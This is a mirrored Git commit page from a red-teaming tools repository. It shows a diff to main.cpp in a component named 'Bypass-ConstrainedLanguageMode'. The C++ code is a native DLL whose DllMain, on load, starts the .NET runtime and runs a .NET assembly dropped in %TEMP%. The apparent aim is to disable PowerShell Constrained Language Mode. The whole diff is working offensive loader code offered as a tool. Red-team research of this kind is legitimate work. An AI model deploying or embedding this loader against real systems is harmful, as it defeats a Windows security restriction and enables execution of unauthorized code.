Git/mgeeky-Penetration-Testing-Tools
1
0
Fork 0
mirror of https://github.com/mgeeky/Penetration-Testing-Tools.git synced 2024-11-24 03:21:37 +01:00
Code Issues Packages Projects Releases Wiki Activity

Update main.cpp

Browse Source
This commit is contained in:
Mariusz B 2019-10-03 22:06:26 +02:00 committed by GitHub
parent 5ca1e8407e
commit 8b2e8f56bf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 96 additions and 96 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

192
red-teaming/Bypass-ConstrainedLanguageMode/ClmDisableDll/main.cpp
View File

@ -18,126 +18,126 @@
// Specify below .NET assembly, main class to instantiate and parameters to pass there. // Specify below .NET assembly, main class to instantiate and parameters to pass there.
namespace CustomAssemblyParameters { namespace CustomAssemblyParameters {
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll"; LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly"; LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
LPCWSTR MethodName = L"Start"; LPCWSTR MethodName = L"Start";
LPCWSTR Argument = L"(called from native CLR host)"; LPCWSTR Argument = L"(called from native CLR host)";
} }
////////////////////////////////////////////////// //////////////////////////////////////////////////
#ifdef _DEBUG #ifdef _DEBUG
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0) # define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
#else #else
# define msg(x) ((void)0) # define msg(x) ((void)0)
#endif #endif
void DoProcessAttach() void DoProcessAttach()
{ {
ICLRMetaHost *metaHost = nullptr; ICLRMetaHost *metaHost = nullptr;
ICLRRuntimeInfo *runtimeInfo = nullptr; ICLRRuntimeInfo *runtimeInfo = nullptr;
ICLRRuntimeHost *runtimeHost = nullptr; ICLRRuntimeHost *runtimeHost = nullptr;
IEnumUnknown *runtime = nullptr; IEnumUnknown *runtime = nullptr;
IUnknown *enumRuntime = nullptr; IUnknown *enumRuntime = nullptr;
LPWSTR frameworkName = nullptr; LPWSTR frameworkName = nullptr;
DWORD bytes = 2048; DWORD bytes = 2048;
DWORD result = 0; DWORD result = 0;
if (CLRCreateInstance( if (CLRCreateInstance(
CLSID_CLRMetaHost, CLSID_CLRMetaHost,
IID_ICLRMetaHost, IID_ICLRMetaHost,
reinterpret_cast<LPVOID*>(&metaHost) reinterpret_cast<LPVOID*>(&metaHost)
) != S_OK) { ) != S_OK) {
msg(L"FAIL: Could not create MetaHost CLR instance."); msg(L"FAIL: Could not create MetaHost CLR instance.");
return; return;
} }
if (!metaHost || (metaHost->EnumerateInstalledRuntimes( if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
&runtime &runtime
) != S_OK)) { ) != S_OK)) {
msg(L"FAIL: Cannot enumerate installed runtimes."); msg(L"FAIL: Cannot enumerate installed runtimes.");
return; return;
} }
if (!runtime) { if (!runtime) {
msg(L"FAIL: Could not find installed runtimes."); msg(L"FAIL: Could not find installed runtimes.");
return; return;
} }
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc( frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
LPTR, LPTR,
bytes bytes
)); ));
if (!frameworkName) { if (!frameworkName) {
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer."); msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
return; return;
} }
while (runtime->Next(1, &enumRuntime, 0) == S_OK) { while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) { if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
if (runtimeInfo != nullptr) { if (runtimeInfo != nullptr) {
runtimeInfo->GetVersionString(frameworkName, &bytes); runtimeInfo->GetVersionString(frameworkName, &bytes);
} }
} }
} }
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface( if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
CLSID_CLRRuntimeHost, CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost, IID_ICLRRuntimeHost,
reinterpret_cast<LPVOID*>(&runtimeHost) reinterpret_cast<LPVOID*>(&runtimeHost)
) != S_OK)) { ) != S_OK)) {
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference."); msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
return; return;
} }
if (runtimeHost == nullptr) { if (runtimeHost == nullptr) {
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost."); msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
return; return;
} }
runtimeHost->Start(); runtimeHost->Start();
WCHAR assemblyPath[1024] = L""; WCHAR assemblyPath[1024] = L"";
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath)); ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
LPCWSTR assemblyPathPtr = assemblyPath; LPCWSTR assemblyPathPtr = assemblyPath;
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain( HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
assemblyPathPtr, assemblyPathPtr,
CustomAssemblyParameters::TypeName, CustomAssemblyParameters::TypeName,
CustomAssemblyParameters::MethodName, CustomAssemblyParameters::MethodName,
CustomAssemblyParameters::Argument, CustomAssemblyParameters::Argument,
&result &result
); );
if (hres != S_OK) { if (hres != S_OK) {
wchar_t msgbuf[1024] = L""; wchar_t msgbuf[1024] = L"";
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath); swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
msg(msgbuf); msg(msgbuf);
} }
//runtimeHost->Stop(); //runtimeHost->Stop();
//runtimeHost->Release(); //runtimeHost->Release();
runtimeInfo->Release(); runtimeInfo->Release();
metaHost->Release(); metaHost->Release();
} }
BOOLEAN WINAPI DllMain( BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/, IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason, IN DWORD nReason,
IN LPVOID /*Reserved*/ IN LPVOID /*Reserved*/
) )
{ {
switch (nReason) switch (nReason)
{ {
case DLL_PROCESS_ATTACH: case DLL_PROCESS_ATTACH:
{ {
DoProcessAttach(); DoProcessAttach();
break; break;
} }
case DLL_PROCESS_DETACH: case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH: case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH: case DLL_THREAD_DETACH:
break; break;
} }
return TRUE; return TRUE;
} }